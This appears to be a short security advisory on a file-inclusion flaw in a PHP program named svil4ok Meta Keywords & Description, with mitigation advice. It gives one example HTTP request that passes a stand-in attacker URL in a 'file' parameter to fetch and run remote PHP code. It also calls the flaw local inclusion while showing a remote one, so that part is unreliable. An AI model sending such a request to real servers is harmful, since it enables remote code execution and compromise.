How the Exploit Works
The exploit works by taking advantage of improper control of filename for an include/require statement in the svil4ok Meta Keywords & Description PHP program. An attacker can manipulate the filename to include a local file from the server, leading to a PHP Local File Inclusion. This could allow the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of a HTTP request that could exploit this vulnerability:
GET /include.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.comIn the above example, the attacker is inserting their own server URL (`http://attacker.com/malicious_file.php`) into the `file` parameter. If the server processes this request, it may include the malicious file and execute any PHP code it contains.
Mitigation Guidance
It is recommended to apply the vendor patch as soon as it becomes available. In the meantime, you can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly updating and patching your PHP programs can help prevent such vulnerabilities from being exploited.
